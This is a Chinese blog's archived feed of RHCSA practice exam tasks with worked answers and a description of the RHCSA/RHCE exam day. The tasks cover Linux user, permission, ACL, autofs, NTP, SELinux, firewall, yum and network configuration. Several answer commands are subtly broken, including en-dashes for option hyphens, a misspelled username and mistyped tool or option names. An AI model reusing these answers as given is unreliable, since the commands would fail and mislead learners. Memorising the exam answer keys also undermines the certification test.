      <url>/archives/linux/RHCSA/grep-string.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题12：grep匹配字符串"><a href="#RHCSA练习题12：grep匹配字符串" class="headerlink" title="RHCSA练习题12：grep匹配字符串"></a>RHCSA练习题12：grep匹配字符串</h4><p>在 <code>mars.lab.example.com</code>上执行</p><ul><li>查找文件 <code>/usr/share/doc/words/readme.txt</code> 中包含字符串 <code>crosswords</code> 的所有行。</li><li>将所有这些行的副本按原始顺序放在文件<code>/root/list</code>中。</li><li><code>/root/list</code>不得包含空行， 且所有行必须是 <code>/usr/share/doc/words/readme.txt</code> 中原始行的确切副本</li></ul><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">grep crosswords /usr/share/doc/words/readme.txt &gt; /root/list</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">more /root/list</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/97b1b8c874fc34b51a0f31a57a4c3aaaeb00cefac4f7fdbb3eb96146ec8ca701.jpg" alt="grep-string-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> grep </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>find查找文件</title>
      <link href="/archives/linux/RHCSA/find-search_file.html"/>
      <url>/archives/linux/RHCSA/find-search_file.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题11：find查找文件"><a href="#RHCSA练习题11：find查找文件" class="headerlink" title="RHCSA练习题11：find查找文件"></a>RHCSA练习题11：find查找文件</h4><p>在 <code>mars.lab.example.com</code>上执行</p><ul><li>查找用户 <code>querys</code> 所有的所有文件并将其副本放入 <code>/root/findfiles</code> 目录。</li></ul><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> findfiles</span><br><span class="line">find / -user querys -<span class="built_in">exec</span> <span class="built_in">cp</span> -a &#123;&#125; /root/findfiles \;</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ll /root/findfiles</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/c1860315e915d5771df526748892a4db155ffbdf242edc920e70be403aa64788.jpg" alt="find-search_file-0">  </p><p>如果练习环境没有 <code>querys</code> 权限的文件，可以手动建立一个,然后再进行文件查找验证</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> 123123 &gt; /tmp/123 &amp;&amp; <span class="built_in">chown</span> queyrs:querys /tmp/123</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> find </tag>
            
            <tag> exec </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>设置用户uid</title>
      <link href="/archives/linux/RHCSA/set-uid.html"/>
      <url>/archives/linux/RHCSA/set-uid.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA题目10：设置用户uid"><a href="#RHCSA题目10：设置用户uid" class="headerlink" title="RHCSA题目10：设置用户uid"></a>RHCSA题目10：设置用户uid</h4><p>在 <code>mars.lab.example.com</code>上执行</p><ul><li>配置用户<code>jacks</code>， 用户ID为<code>3533</code>。 此用户的密码设置为<code>redhat</code></li></ul><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">id</span> jacks</span><br><span class="line">usermod -u 3533 jacks</span><br><span class="line"><span class="built_in">echo</span> redhat|passwd –stdin jacks</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">id</span> jacks</span><br><span class="line">ssh jacks@mars</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/d74391d91019c7275a0e4f27620020746234fc75a25a0d811ddf08bd0cae9488.jpg" alt="set-uid-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> usermod </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>文件设置ACL权限</title>
      <link href="/archives/linux/RHCSA/file-acl.html"/>
      <url>/archives/linux/RHCSA/file-acl.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题9-设置-ACL文件权限"><a href="#RHCSA练习题9-设置-ACL文件权限" class="headerlink" title="RHCSA练习题9: 设置 ACL文件权限"></a>RHCSA练习题9: 设置 ACL文件权限</h4><p>在 <code>mars.lab.example.com</code> 上执行</p><p>将文件 <code>/etc/fstab</code> 复制到 <code>/var/tmp/fstab</code>。 配置 <code>/var/tmp/fstab</code> 的权限以满足如下条件：</p><ul><li>文件<code>/var/tmp/fstab</code>由root用户所有</li><li>文件<code>/var/tmp/fstab</code>属于组root</li><li>文件<code>/var/tmp/fstab</code>应不能被任何人执行</li><li>用户<code>lucy</code>能够读取和写入<code>/var/tmp/fstab</code></li><li>用户<code>harry</code>无法写入或读取<code>/var/tmp/fstab</code></li><li>所有其他用户(当前或未来)能够读取<code>/var/tmp/fstab</code></li></ul><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cp</span> /etc/fstab /var/tmp/</span><br><span class="line">setfacl -m u:lucy:rw,u:harry:- /var/tmp/fstab</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">getfacl /var/tmp/fstab</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/af9d4bc1143fe329a3410e4125c062d2d13986447a53b530f2bab3ad53b57764.jpg" alt="file">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> setfacl </tag>
            
            <tag> getfacl </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>AutoFS自动挂载NFS</title>
      <link href="/archives/linux/RHCSA/autofs-mount-nfs.html"/>
      <url>/archives/linux/RHCSA/autofs-mount-nfs.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA考题8：自动挂载NFS目录"><a href="#RHCSA考题8：自动挂载NFS目录" class="headerlink" title="RHCSA考题8：自动挂载NFS目录"></a>RHCSA考题8：自动挂载NFS目录</h4><p>在<code>mars.lab.example.com</code>上执行</p><p>以按照如下所述 <strong>自动挂载</strong> 远程用户的主目录：</p><ul><li>classroom.example.com (172.25.254.254) NFS 目录 &#x2F;rhome 自动挂载到用户lily预配置的主目录。</li><li>lily的主目录是 <code>classroom.example.com:/rhome/lily</code></li><li>lily的主目录应自动挂载到本地 &#x2F;rhome 下的 &#x2F;rhome&#x2F;lily 。</li><li>主目录必须可供其用户写入。</li><li>lily的密码是redhat</li></ul><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">yum -y install autofs</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;/rhome /etc/auto.nfs&quot;</span> &gt; /etc/auto.master.d/lily.autofs</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;lily -fstype=nfs,rw,sync classroom.example.com:/rhome/lily&quot;</span> &gt; /etc/auto.nfs</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl restart autofs</span><br><span class="line">systemctl <span class="built_in">enable</span> autofs</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh lily@mars <span class="string">&quot;df -hT&quot;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/70bc693983ea9db2242191737fd5cd96924de221131a0e41d409a4420e177a99.jpg" alt="autofs-mount-nfs-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> autofs </tag>
            
            <tag> nfs </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>配置NTP时间同步</title>
      <link href="/archives/linux/RHCSA/sync-ntp.html"/>
      <url>/archives/linux/RHCSA/sync-ntp.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA考题7：配置NTP"><a href="#RHCSA考题7：配置NTP" class="headerlink" title="RHCSA考题7：配置NTP"></a>RHCSA考题7：配置NTP</h4><p>在 <code>mars.lab.example.com</code>上执行</p><p>配置您的系统， 使其成为 <code>classroom.example.com</code> 的 NTP 客户端。</p><p>考试时提示：</p><blockquote><p>classroom.example.com 是 sidecar.lab.example.com 的DNS别名</p></blockquote><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/chrony.conf</span><br></pre></td></tr></table></figure><p>添加内容</p><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">server classroom.example.<span class="keyword">com</span> iburst</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl restart chronyd</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">chronyc sources -c</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/4d4d66cdf4eaf40b3a324469eaa608d287bd855df3829ef34d7a1db37ee1d3da.jpg" alt="sync-ntp-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ntp </tag>
            
            <tag> chrony </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>文件权限</title>
      <link href="/archives/linux/RHCSA/file-permissions.html"/>
      <url>/archives/linux/RHCSA/file-permissions.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA考题6：文件权限"><a href="#RHCSA考题6：文件权限" class="headerlink" title="RHCSA考题6：文件权限"></a>RHCSA考题6：文件权限</h4><p>在 <code>mars.lab.example.com</code>上执行</p><p>创建具有以下特征的协作目录 <code>/home/test</code></p><ul><li><code>/home/test</code> 的组所有权是 <code>admins</code></li><li>目录应当可被 <code>admins</code> 的成员读取、 写入和访问， 但任何其他用户不具这些权限。 （ 当然 root用户有权访问系统上的所有文件和目录）</li><li><code>/home/test</code> 中创建的文件自动继承 <code>admins</code> 组权限</li></ul><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> /home/test</span><br><span class="line"><span class="built_in">chgrp</span> admins /home/test</span><br><span class="line"><span class="built_in">chmod</span> g=rwx,o=– /home/test</span><br><span class="line"><span class="built_in">chmod</span> g+s /home/test</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh lucy@mars </span><br><span class="line"><span class="built_in">echo</span> 123231 &gt; /home/test/123</span><br><span class="line">ll /home/test/</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/a8bc440360050a44ef136f6942435a2880dfc2fdc2b208a4f5954fc466d9e9a0.jpg" alt="file-permissions-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 文件权限 </tag>
            
            <tag> chmod </tag>
            
            <tag> chgrp </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>crontab计划任务</title>
      <link href="/archives/linux/RHCSA/crontab.html"/>
      <url>/archives/linux/RHCSA/crontab.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA考题5：计划任务crond"><a href="#RHCSA考题5：计划任务crond" class="headerlink" title="RHCSA考题5：计划任务crond"></a>RHCSA考题5：计划任务crond</h4><p>在 <code>mars.lab.example.com</code>上执行</p><ul><li>为 <strong>lucy</strong> 用户配置 一个计划任务，每隔 <strong>2</strong> 分钟执行 <code>/bin/echo hiya</code></li></ul><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">crontab -u lucy -e</span><br></pre></td></tr></table></figure><p>内容</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">*/2</span> <span class="string">*</span> <span class="string">*</span> <span class="string">*</span> <span class="string">*</span> <span class="string">/bin/echo</span> <span class="string">hiya</span></span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">crontab -u lucy –l</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/0da3cf1bef815d0ad2ce5621afe09b7d2d3904fad5dcbbc38fe5f989c52df887.jpg" alt="crontab-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> crontab </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux用户管理(添加用户，用户组，密码，登陆方式)</title>
      <link href="/archives/linux/RHCSA/user-management.html"/>
      <url>/archives/linux/RHCSA/user-management.html</url>
      
        <content type="html"><![CDATA[<h5 id="RHCSA考题4：用户管理，添加用户，设置用户组，更改密码，设置登陆shell"><a href="#RHCSA考题4：用户管理，添加用户，设置用户组，更改密码，设置登陆shell" class="headerlink" title="RHCSA考题4：用户管理，添加用户，设置用户组，更改密码，设置登陆shell"></a>RHCSA考题4：用户管理，添加用户，设置用户组，更改密码，设置登陆shell</h5><p>在 <code>mars.lab.example.com</code>上执行创建下列用户 组和组成员资格：</p><ul><li>创建名为 <code>admins</code> 的组</li><li>用户<code>lucy</code>， 作为次要组从属于<code>admins</code></li><li>用户<code>harry</code>， 作为次要组还从属于<code>admins</code></li><li>用户<code>jams</code>， 无权访问系统上的交互式shell,且不是<code>admins</code>的成员</li><li><code>lucy</code>、 <code>harry</code>和<code>jams</code>的密码应当都是<code>redhat</code></li></ul><hr><p>提示：</p><blockquote><p>groupadd useradd -G&#x2F;-s</p></blockquote><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">groupadd admins</span><br><span class="line">useradd -G admins lucy</span><br><span class="line">useradd -G admins harry</span><br><span class="line">useradd -s /sbin/nologin jams</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> redhat|passwd --stdin lucy</span><br><span class="line"><span class="built_in">echo</span> redhat|passwd --stdin harry</span><br><span class="line"><span class="built_in">echo</span> redhat|passwd --stdin jams</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">tail</span> -3 /etc/passwd</span><br><span class="line">ssh lucy@mars  <span class="comment">#密码redhat</span></span><br><span class="line">ssh harry@mars</span><br><span class="line">ssh jams@mars</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/9fbaa3c1d0743f7a1ae86bf25336314d3eae8f5dbdff370c5fa4916d49bcdd68.jpg" alt="user-management-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> useradd </tag>
            
            <tag> groupadd </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SeLinux和防火墙</title>
      <link href="/archives/linux/RHCSA/selinux-firewalld.html"/>
      <url>/archives/linux/RHCSA/selinux-firewalld.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA考题3：SeLinux和防火墙"><a href="#RHCSA考题3：SeLinux和防火墙" class="headerlink" title="RHCSA考题3：SeLinux和防火墙"></a>RHCSA考题3：SeLinux和防火墙</h4><p>在 <code>mars.lab.example.com</code>上执行</p><p>非标准端口 <strong>82</strong> 上运行的Web服务器在提供内容时遇到问题。 根据需要调试并解决问题， 使其满足以下条件：</p><ul><li>系统上的Web服务器能够提供<code>/var/www/html</code>中所有现有的HTML文件 （ 注：不要删除或以其他方式改动现有的文件内容）</li><li>Web服务器在端口 <code>82</code>上提供此内容Web服务器在系统启动时 <strong>自动启动</strong></li></ul><hr><p>提示：</p><blockquote><ul><li>httpd端口82，不是默认80,不在selinux和防火墙默认规则中，需要添加例外, <code>semange port -l | grep http</code></li><li>&#x2F;var&#x2F;www&#x2F;html&#x2F;file1权限 <code>restorecon</code></li><li>开启自启动 <code>systemctl enable xxxx</code></li></ul></blockquote><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#设置selinux</span></span><br><span class="line">semanage port -a -t http_port_t -p tcp 82</span><br><span class="line"><span class="comment">#添加防火墙端口例外</span></span><br><span class="line">firewall-cmd --add-port=82/tcp --zone=public --permanent</span><br><span class="line">firewall-cmd --reload</span><br><span class="line"><span class="comment">#恢复文件selinux权限</span></span><br><span class="line">restorecon -Rv /var/www/html/</span><br><span class="line"><span class="comment">#开机自启动</span></span><br><span class="line">systemctl <span class="built_in">enable</span>  httpd --now</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl mars:82</span><br><span class="line">curl mars:82/file1</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/1c1bdf6b503d5480bff2b01032e876d5dafbea7eb1ff9751e7b6d542e3a8528a.jpg" alt="selinux-firewalld-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> selinux </tag>
            
            <tag> firewalld </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>配置yum源</title>
      <link href="/archives/linux/RHCSA/yum-repo.html"/>
      <url>/archives/linux/RHCSA/yum-repo.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA考题二-：配置yum源"><a href="#RHCSA考题二-：配置yum源" class="headerlink" title="RHCSA考题二 ：配置yum源"></a>RHCSA考题二 ：配置yum源</h4><p>在<code>mars.lab.example.com</code>配置YUM存储库，存储库地址</p><ul><li>BaseOS <code>http://content.example.com/rhel8.0/x86_64/dvd/BaseOS</code></li><li>AppStream <code>http://content.example.com/rhel8.0/x86_64/dvd/AppStream</code></li></ul><hr><p><strong>Answer:</strong></p><p>编辑或者新建repo文件，这里选择编辑redhat.repo文件，</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/yum.repos.d/redhat.repo</span><br></pre></td></tr></table></figure><p>内容</p><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">[BaseOS]</span><br><span class="line">name=BaseOS</span><br><span class="line">baseurl=http://content.example.<span class="keyword">com</span>/rhel8.<span class="number">0</span>/x86_64/dvd/BaseOS</span><br><span class="line">enabled=<span class="number">1</span></span><br><span class="line">gpgcheck=<span class="number">0</span></span><br><span class="line">[AppStream]</span><br><span class="line">name=AppStream</span><br><span class="line">baseurl=http://content.example.<span class="keyword">com</span>/rhel8.<span class="number">0</span>/x86_64/dvd/AppStream</span><br><span class="line">enabled=<span class="number">1</span></span><br><span class="line">gpgcheck=<span class="number">0</span></span><br></pre></td></tr></table></figure><hr><p>验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">yum makecache &amp;&amp; yum list | <span class="built_in">wc</span> -l</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">yum repolist</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/df4f3a461a964264b7c452c755f651ae1090c42768c3993bdc5050274771ece4.jpg" alt="yum-repo-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> yum </tag>
            
            <tag> repo源 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>配置hostname和网络</title>
      <link href="/archives/linux/RHCSA/hostname-and-net.html"/>
      <url>/archives/linux/RHCSA/hostname-and-net.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA考题一-：配置hostname和网络"><a href="#RHCSA考题一-：配置hostname和网络" class="headerlink" title="RHCSA考题一 ：配置hostname和网络"></a>RHCSA考题一 ：配置hostname和网络</h4><p>在mars.lab.example.com上，将mars配置为具有以下网络配置：</p><ul><li>主机名：  mars.lab.example.com image</li><li>IP地址：  172.25.250.10</li><li>子网掩码：255.255.255.0</li><li>网关：    172.25.250.254</li><li>DNS：     72.25.250.254</li></ul><hr><p>提示</p><blockquote><p>hostnamectl nmcli</p></blockquote><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><ul><li><p>设置hostname</p><ul><li><p>方法一：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">hostnamectl set-hostname mars.lab.example.com</span><br></pre></td></tr></table></figure></li><li><p>方法二：编写 hostname配置文件设置，</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/hostname</span><br></pre></td></tr></table></figure></li></ul></li><li><p>设置网络</p><ul><li><p>方法一：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmcli connection show <span class="comment">#查看网卡名，比如这里是 Wired connection1</span></span><br><span class="line">nmcli connection modify <span class="string">&quot;Wired connection1&quot;</span> \</span><br><span class="line">ipv4.method manual \</span><br><span class="line">ipv4.addresses 172.25.250.10/24 \</span><br><span class="line">ipv4.gateway 172.25.250.254 \</span><br><span class="line">ipv4.dns 172.25.250.254 \</span><br><span class="line">connect.autoconnect <span class="built_in">yes</span></span><br><span class="line">nmcli connection up <span class="string">&quot;Wired connection1 &quot;</span></span><br></pre></td></tr></table></figure></li><li><p>方法二： 编写网卡配置文件设置</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/sysconfig/network-scripts/ifcfg-Wired_connection1</span><br></pre></td></tr></table></figure><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">ipaddr  <span class="number">172.25</span>.<span class="number">250.20</span> 改成<span class="number">172.25</span>.<span class="number">250.10</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmcli connection reload</span><br><span class="line">nmcli connection up <span class="string">&quot;Wired connection1&quot;</span></span><br></pre></td></tr></table></figure></li></ul></li></ul><p>验证：</p><ul><li><p>hostname<br><img src="https://images.hao.kim/uploads/2024/08/604ddb6cd5e0325d34388fc1659116fa718a594f6d3b86c65b7f3e081b3350e5.png" alt="图 0">  </p></li><li><p>IP</p></li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ip a</span><br></pre></td></tr></table></figure><p> <img src="https://images.hao.kim/uploads/2024/08/3f56797901c0c624ca0cac937005ffa9a6f4b0ad4f7752594ddc6ecfd3da1bc8.png" alt="图 1">  </p><p> 或者</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh root@mars</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/93fdf558649f5b5ae987a3a19ab05989b476c508731c08f9461d4a736f0e7829.png" alt="图 2"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> hostname </tag>
            
            <tag> nmcli </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>RHCE考试安排和考试时间</title>
      <link href="/archives/linux/RHCSA/start.html"/>
      <url>/archives/linux/RHCSA/start.html</url>
      
        <content type="html"><![CDATA[<p>考试当天， 大家带好 <strong>身份证</strong> ， 提前达到考场。正常情况， 上午10:00开始考试。</p><p>考试时间1天：</p><p>上午 RHCSA EX200</p><p>下午 RHCE8 EX294</p><p>注意：</p><p>上午和下午邮箱要一致， 姓名也要一致。邮箱用于接收成绩， 姓名会显示在证书上</p><h2 id="RHCSA"><a href="#RHCSA" class="headerlink" title="RHCSA"></a>RHCSA</h2><h2 id="考试时间：2-5小时"><a href="#考试时间：2-5小时" class="headerlink" title="考试时间：2.5小时"></a>考试时间：2.5小时</h2><p>请注意， 考试过程中不能与其他考生 <strong>交流</strong> ， 您也不得连接到其他考生的 <strong>主机</strong> ， 测验系统及其网络会受到监控， 不当使用可导致成绩判为零分。请执行下方列出的任务。 在开始操作前， 您不妨先通读整个列表。</p><p>这些项目将使用一个分数来评分， 这些任务的总分为300分， 您必须达到210分或以上才能获得认证。</p><p>在考试期间， 除了您就坐位置的台式机之外， 还将使用多个虚拟系统。 您不具有台式机系统的root访问权， 但具有对虚拟系统的完整root访问权</p><p>在本考试期间， 您将操作下列虚拟系统：</p><table><thead><tr><th>系统</th><th>IP地址</th></tr></thead><tbody><tr><td>mars.lab.example.com</td><td>172.25.250.10</td></tr><tr><td>venus.lab.example.com</td><td>172.25.250.11</td></tr></tbody></table><p>您使用的系统属于DNS域lab.example.com。 该域中的所有系统都位于172.25.250.0&#x2F;255.255.255.0子网中， 该子网中的所有系统都位于lab.example.com中。 针对这些系统列出的IP地址是应该分配给系统的地址。 您可能需要为一个或两个系统配置网络， 以便能够通过上述地址访问您的地址</p><p>mars的root已经设置为redhat。 除非另有指定， 否则这将是用于访问其他系统和服务的密码。 此外，除非另有指定， 否则应将该密码用于您创建的什么问题帐户或者需要设置密码的任意服务</p><p>您的系统会在重新引导后进行评测， 因此务必确保您实施的的所有配置和服务在重新引导后仍然保留。服务必须在没有人工干预的情况下启动。 同样， 本次考试使用的所有虚拟实例都必须能够重新引导至适当的多用户目标， 而无需任何人工辅助。  <strong>在无法引导或无法进行无人干预引导的系统上完成的所有操作都将为零分</strong> .</p><h2 id="RHCE"><a href="#RHCE" class="headerlink" title="RHCE"></a>RHCE</h2><h2 id="考试时间：-4小时"><a href="#考试时间：-4小时" class="headerlink" title="考试时间： 4小时"></a>考试时间： 4小时</h2><p>请注意， 考试过程中不能与其他考生交流， 您也不得连接到其他考生的主机， 测验系统及其网络会受到监控， 不当使用可导致成绩判为零分。请执行下方列出的任务。 在开始操作前， 您不妨先通读整个列表。 这些项</p><p>目将使用一个分数来评分， 这些任务的总分为300分， 您必须达到210分或以上才能获得认证。</p><p>在考试期间， 除了您就坐位置的台式机之外， 还将使用多个虚拟系统。 您不具有台式机系统的root访问权， 但具有对虚拟系统的完整root访问权</p><h2 id="在本考试期间，-您将操作下列虚拟系统"><a href="#在本考试期间，-您将操作下列虚拟系统" class="headerlink" title="在本考试期间， 您将操作下列虚拟系统"></a>在本考试期间， 您将操作下列虚拟系统</h2><table><thead><tr><th>系统</th><th>IP地址</th><th>角色</th></tr></thead><tbody><tr><td>bastion.lab.example.com</td><td>172.25.250.254</td><td>Ansible control node</td></tr><tr><td>workstation.lab.example.com</td><td>172.25.250.9</td><td>Ansible managed node</td></tr><tr><td>servera.lab.example.com</td><td>172.25.250.10</td><td>Ansible managed node</td></tr><tr><td>serverb.lab.example.com</td><td>172.25.250.11</td><td>Ansible managed node</td></tr><tr><td>serverc.lab.example.com</td><td>172.25.250.12</td><td>Ansible managed node</td></tr><tr><td>serverd.lab.example.com</td><td>172.25.250.13</td><td>Ansible managed node</td></tr></tbody></table><p>账户信息这些系统的IP地址采用静态设置。 <strong>请勿更改这些设置</strong> 。 主机名称解析已配置为解析上方列出的完全限定主机名， 同时也解析主机短名称</p><p>所有系统的root密码是redhat。 请勿更改root密码。 除非另有指定， 否则这将是用于访问其他系统和服务的密码。 此外， 除非另有指定， 否则此密码也应用于您创建的所有帐户或者任何需要设置密码的服务。为方便起见， 所有系统上已预装了SSH密钥， 允许在不输入密码的前提下通过SSH进行root访问。 请勿对系统上的root SSH配置文件进行任何修改。Ansible控制节点上已创建了用户帐户 student。 此帐户预装了SSH密钥， 允许在Ansible控制节点和各个Ansible受管节点之间进行SSH登录。请勿对系统上的student SSH配置文件进行任何修改。 您可以从root帐户使用su访问此用户帐户。</p><h2 id="其他信息"><a href="#其他信息" class="headerlink" title="其他信息"></a>其他信息</h2><p>一些考试项目可能需要修改Ansible主机清单。 您要负责确保所有以前的清单组和项目保留下来，与任何其他更改共存。 您还要有确保清单中所有默认的组和主机保留您进行的任何更改。考试系统上的防火墙默认为不启用， SELinux则处于强制模式。如果需要安装其他软件， 您的物理系统和Ansible控制节点可能已设置为指向content上的下述存储库：</p><p><code>http://content.example.com/rhel8.0/x86_64/dvd/BaseOS</code></p><p><code>http://content.example.com/rhel8.0/x86_64/dvd/AppStream</code></p><p>一些项目需要额外的文件， 这些文件已在以下位置提供：</p><p><code>http://materials.example.com/cd/exam_rhce8</code></p><p>产品文档可从以下位置找到：</p><p><code>http://materilas.example.com/docs/</code></p><p>其他资源也进行了配置， 供您在考试期间使用。 